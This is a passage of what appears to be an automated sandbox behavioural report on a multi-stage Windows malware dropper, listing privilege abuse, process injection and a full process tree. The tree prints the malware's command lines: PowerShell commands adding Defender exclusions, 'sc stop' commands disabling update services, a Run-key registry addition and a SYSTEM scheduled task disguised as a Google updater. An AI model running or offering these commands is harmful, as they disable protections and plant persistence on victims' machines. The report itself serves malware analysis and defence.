description pid Process Token: SeDebugPrivilege 996 main.exe Token: SeDebugPrivilege 2104 ChainComServermonitor.exe Token: SeDebugPrivilege 3860 crss.exe Token: SeDebugPrivilege 5784 tasklist.exe Token: SeDebugPrivilege 5632 Update.exe Token: SeDebugPrivilege 6440 Registry.exe Token: SeDebugPrivilege 6588 powershell.exe Token: SeDebugPrivilege 5060 dialer.exe Token: SeAssignPrimaryTokenPrivilege 2136 svchost.exe Token: SeIncreaseQuotaPrivilege 2136 svchost.exe Token: SeSecurityPrivilege 2136 svchost.exe Token: SeTakeOwnershipPrivilege 2136 svchost.exe Token: SeLoadDriverPrivilege 2136 svchost.exe Token: SeSystemtimePrivilege 2136 svchost.exe Token: SeBackupPrivilege 2136 svchost.exe Token: SeRestorePrivilege 2136 svchost.exe Token: SeShutdownPrivilege 2136 svchost.exe Token: SeSystemEnvironmentPrivilege 2136 svchost.exe Token: SeUndockPrivilege 2136 svchost.exe Token: SeManageVolumePrivilege 2136 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2136 svchost.exe Token: SeIncreaseQuotaPrivilege 2136 svchost.exe Token: SeSecurityPrivilege 2136 svchost.exe Token: SeTakeOwnershipPrivilege 2136 svchost.exe Token: SeLoadDriverPrivilege 2136 svchost.exe Token: SeSystemtimePrivilege 2136 svchost.exe Token: SeBackupPrivilege 2136 svchost.exe Token: SeRestorePrivilege 2136 svchost.exe Token: SeShutdownPrivilege 2136 svchost.exe Token: SeSystemEnvironmentPrivilege 2136 svchost.exe Token: SeUndockPrivilege 2136 svchost.exe Token: SeManageVolumePrivilege 2136 svchost.exe Token: SeAuditPrivilege 2648 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2136 svchost.exe Token: SeIncreaseQuotaPrivilege 2136 svchost.exe Token: SeSecurityPrivilege 2136 svchost.exe Token: SeTakeOwnershipPrivilege 2136 svchost.exe Token: SeLoadDriverPrivilege 2136 svchost.exe Token: SeSystemtimePrivilege 2136 svchost.exe Token: SeBackupPrivilege 2136 svchost.exe Token: SeRestorePrivilege 2136 svchost.exe Token: SeShutdownPrivilege 2136 svchost.exe Token: SeSystemEnvironmentPrivilege 2136 svchost.exe Token: SeUndockPrivilege 2136 svchost.exe Token: SeManageVolumePrivilege 2136 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2136 svchost.exe Token: SeIncreaseQuotaPrivilege 2136 svchost.exe Token: SeSecurityPrivilege 2136 svchost.exe Token: SeTakeOwnershipPrivilege 2136 svchost.exe Token: SeLoadDriverPrivilege 2136 svchost.exe Token: SeSystemtimePrivilege 2136 svchost.exe Token: SeBackupPrivilege 2136 svchost.exe Token: SeRestorePrivilege 2136 svchost.exe Token: SeShutdownPrivilege 2136 svchost.exe Token: SeSystemEnvironmentPrivilege 2136 svchost.exe Token: SeUndockPrivilege 2136 svchost.exe Token: SeManageVolumePrivilege 2136 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2136 svchost.exe Token: SeIncreaseQuotaPrivilege 2136 svchost.exe Token: SeSecurityPrivilege 2136 svchost.exe Token: SeTakeOwnershipPrivilege 2136 svchost.exe Token: SeLoadDriverPrivilege 2136 svchost.exe Token: SeSystemtimePrivilege 2136 svchost.exe Token: SeBackupPrivilege 2136 svchost.exe -
Suspicious use of FindShellTrayWindow 12 IoCs
pid Process 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe 3464 Explorer.EXE 3464 Explorer.EXE -
Suspicious use of SendNotifyMessage 8 IoCs
pid Process 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe 5544 vlc.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 5544 vlc.exe 5632 Update.exe 368 Conhost.exe -
Suspicious use of UnmapMainImage 3 IoCs
pid Process 4184 RuntimeBroker.exe 3464 Explorer.EXE 3928 RuntimeBroker.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2104 wrote to memory of 4964 2104 main.exe 86 PID 2104 wrote to memory of 4964 2104 main.exe 86 PID 4964 wrote to memory of 2840 4964 main.exe 89 PID 4964 wrote to memory of 2840 4964 main.exe 89 PID 2840 wrote to memory of 3884 2840 cmd.exe 91 PID 2840 wrote to memory of 3884 2840 cmd.exe 91 PID 2840 wrote to memory of 3884 2840 cmd.exe 91 PID 3884 wrote to memory of 3388 3884 Build.exe 92 PID 3884 wrote to memory of 3388 3884 Build.exe 92 PID 3884 wrote to memory of 1844 3884 Build.exe 94 PID 3884 wrote to memory of 1844 3884 Build.exe 94 PID 1844 wrote to memory of 3996 1844 based.exe 95 PID 1844 wrote to memory of 3996 1844 based.exe 95 PID 3388 wrote to memory of 3288 3388 hacn.exe 99 PID 3388 wrote to memory of 3288 3388 hacn.exe 99 PID 3288 wrote to memory of 1488 3288 Build.exe 101 PID 3288 wrote to memory of 1488 3288 Build.exe 101 PID 1488 wrote to memory of 2080 1488 Build.exe 102 PID 1488 wrote to memory of 2080 1488 Build.exe 102 PID 2080 wrote to memory of 4312 2080 cmd.exe 104 PID 2080 wrote to memory of 4312 2080 cmd.exe 104 PID 2080 wrote to memory of 4312 2080 cmd.exe 104 PID 4312 wrote to memory of 996 4312 s.exe 106 PID 4312 wrote to memory of 996 4312 s.exe 106 PID 4312 wrote to memory of 2708 4312 s.exe 107 PID 4312 wrote to memory of 2708 4312 s.exe 107 PID 4312 wrote to memory of 2708 4312 s.exe 107 PID 4312 wrote to memory of 3044 4312 s.exe 108 PID 4312 wrote to memory of 3044 4312 s.exe 108 PID 4312 wrote to memory of 660 4312 s.exe 110 PID 4312 wrote to memory of 660 4312 s.exe 110 PID 2708 wrote to memory of 1932 2708 svchost.exe 112 PID 2708 wrote to memory of 1932 2708 svchost.exe 112 PID 2708 wrote to memory of 1932 2708 svchost.exe 112 PID 3044 wrote to memory of 3860 3044 crss.exe 113 PID 3044 wrote to memory of 3860 3044 crss.exe 113 PID 3860 wrote to memory of 3556 3860 crss.exe 143 PID 3860 wrote to memory of 3556 3860 crss.exe 143 PID 1932 wrote to memory of 5088 1932 WScript.exe 117 PID 1932 wrote to memory of 5088 1932 WScript.exe 117 PID 1932 wrote to memory of 5088 1932 WScript.exe 117 PID 5088 wrote to memory of 2104 5088 cmd.exe 119 PID 5088 wrote to memory of 2104 5088 cmd.exe 119 PID 2104 wrote to memory of 4312 2104 ChainComServermonitor.exe 123 PID 2104 wrote to memory of 4312 2104 ChainComServermonitor.exe 123 PID 4312 wrote to memory of 4720 4312 csc.exe 125 PID 4312 wrote to memory of 4720 4312 csc.exe 125 PID 2104 wrote to memory of 7108 2104 ChainComServermonitor.exe 126 PID 2104 wrote to memory of 7108 2104 ChainComServermonitor.exe 126 PID 7108 wrote to memory of 7152 7108 csc.exe 128 PID 7108 wrote to memory of 7152 7108 csc.exe 128 PID 2104 wrote to memory of 5184 2104 ChainComServermonitor.exe 141 PID 2104 wrote to memory of 5184 2104 ChainComServermonitor.exe 141 PID 5184 wrote to memory of 3556 5184 cmd.exe 143 PID 5184 wrote to memory of 3556 5184 cmd.exe 143 PID 5184 wrote to memory of 392 5184 cmd.exe 144 PID 5184 wrote to memory of 392 5184 cmd.exe 144 PID 996 wrote to memory of 4732 996 main.exe 146 PID 996 wrote to memory of 4732 996 main.exe 146 PID 4732 wrote to memory of 5784 4732 cmd.exe 148 PID 4732 wrote to memory of 5784 4732 cmd.exe 148 PID 4732 wrote to memory of 5688 4732 cmd.exe 149 PID 4732 wrote to memory of 5688 4732 cmd.exe 149 PID 4732 wrote to memory of 5708 4732 cmd.exe 150 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:584
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:316
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:668
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:948
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:528
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:432
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1112
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1120
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1144
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:1100
-
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4624
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1152
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1256
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1312
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1404
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1416
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1424
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:2928
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1584
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1592
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1632
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1720
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1756
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1776
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
- Modifies Internet Explorer settings
PID:1836
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1880
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1892
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2000
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1220
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2064
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2136
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2184
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2280
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2436
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2444
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2616
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2648
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2700
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2732
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2740
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2976
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3036
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:1500
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3364
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of UnmapMainImage
PID:3464 -
C:\Users\Admin\AppData\Local\Temp\main.exe"C:\Users\Admin\AppData\Local\Temp\main.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\Users\Admin\AppData\Local\Temp\main.exe"C:\Users\Admin\AppData\Local\Temp\main.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4964 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI21042\Build.exe -pbeznogym4⤵
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Users\Admin\AppData\Local\Temp\_MEI21042\Build.exeC:\Users\Admin\AppData\Local\Temp\_MEI21042\Build.exe -pbeznogym5⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3884 -
C:\ProgramData\Microsoft\hacn.exe"C:\ProgramData\Microsoft\hacn.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3388 -
C:\Users\Admin\AppData\Local\Temp\Build.exe"C:\Users\Admin\AppData\Local\Temp\Build.exe"7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3288 -
C:\Users\Admin\AppData\Local\Temp\Build.exe"C:\Users\Admin\AppData\Local\Temp\Build.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1488 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI32882\s.exe -pbeznogym9⤵
- Suspicious use of WriteProcessMemory
PID:2080 -
C:\Users\Admin\AppData\Local\Temp\_MEI32882\s.exeC:\Users\Admin\AppData\Local\Temp\_MEI32882\s.exe -pbeznogym10⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4312 -
C:\ProgramData\main.exe"C:\ProgramData\main.exe"11⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:996 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpF26E.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpF26E.tmp.bat12⤵
- Suspicious use of WriteProcessMemory
PID:4732 -
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 996"13⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5784
-
-
C:\Windows\system32\find.exefind ":"13⤵PID:5688
-
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak13⤵
- Delays execution with timeout.exe
PID:5708
-
-
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"13⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5632 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f14⤵PID:6268
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f15⤵
- Adds Run key to start application
- Modifies registry key
PID:5984
-
-
-
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\svchost64.exe"C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\svchost64.exe"14⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3016 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\pFG3Duil1NAbFHoInFFIi7JfPHXMZXRvb98S0ewJA0VkW.vbe"15⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
PID:4756 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\oGgyulsi03j6EO3sjCC.bat" "16⤵
- System Location Discovery: System Language Discovery
PID:6472 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV117⤵
- Suspicious use of SetWindowsHookEx
PID:368
-
-
C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\ChainComServermonitor.exe"C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor/ChainComServermonitor.exe"17⤵
- Executes dropped EXE
PID:7136
-
-
-
-
-
-
-
-
C:\ProgramData\svchost.exe"C:\ProgramData\svchost.exe"11⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\pFG3Duil1NAbFHoInFFIi7JfPHXMZXRvb98S0ewJA0VkW.vbe"12⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\oGgyulsi03j6EO3sjCC.bat" "13⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5088 -
C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\ChainComServermonitor.exe"C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor/ChainComServermonitor.exe"14⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wufgdjrc\wufgdjrc.cmdline"15⤵
- Suspicious use of WriteProcessMemory
PID:4312 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEE09.tmp" "c:\ProgramData\CSC94EF4FA43544D8BAD8571DBAEE82C4.TMP"16⤵PID:4720
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nsgw20l3\nsgw20l3.cmdline"15⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:7108 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEE96.tmp" "c:\Windows\System32\CSC598640B2D78645F1BE57189E406261B3.TMP"16⤵PID:7152
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\MPazD1qtyD.bat"15⤵
- Suspicious use of WriteProcessMemory
PID:5184 -
C:\Windows\system32\chcp.comchcp 6500116⤵PID:3556
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost16⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:392
-
-
C:\Users\Public\Music\Registry.exe"C:\Users\Public\Music\Registry.exe"16⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6440
-
-
-
-
-
-
-
C:\ProgramData\crss.exe"C:\ProgramData\crss.exe"11⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\ProgramData\crss.exe"C:\ProgramData\crss.exe"12⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3860 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"13⤵PID:3556
-
-
-
-
C:\ProgramData\setup.exe"C:\ProgramData\setup.exe"11⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:660
-
-
-
-
-
-
-
C:\ProgramData\Microsoft\based.exe"C:\ProgramData\Microsoft\based.exe"6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1844 -
C:\ProgramData\Microsoft\based.exe"C:\ProgramData\Microsoft\based.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3996
-
-
-
-
-
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\WatchCopy.ADT"2⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:5544
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:6588
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵PID:3916
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2636
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3784
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:6840
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:6860
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:6864
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5060
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"2⤵PID:7032
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\yntnomxcupkb.xml"2⤵
- Scheduled Task/Job: Scheduled Task
PID:7084
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵PID:2084
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5820 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5828
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵PID:6204
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:6784
-
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3996
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:5952
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:6084
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:5172
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:6388
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:7160
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\yntnomxcupkb.xml"2⤵
- Scheduled Task/Job: Scheduled Task
PID:5280 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:6536
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:6728
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:6688
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3588
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3768
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
PID:3928
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
PID:4184
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3164
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4852
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1188
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:4488
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4736
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4036
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4216
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4928
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3188
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:5008
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4528
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
PID:3684
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc1⤵PID:2424
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
PID:3776
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:4156 -
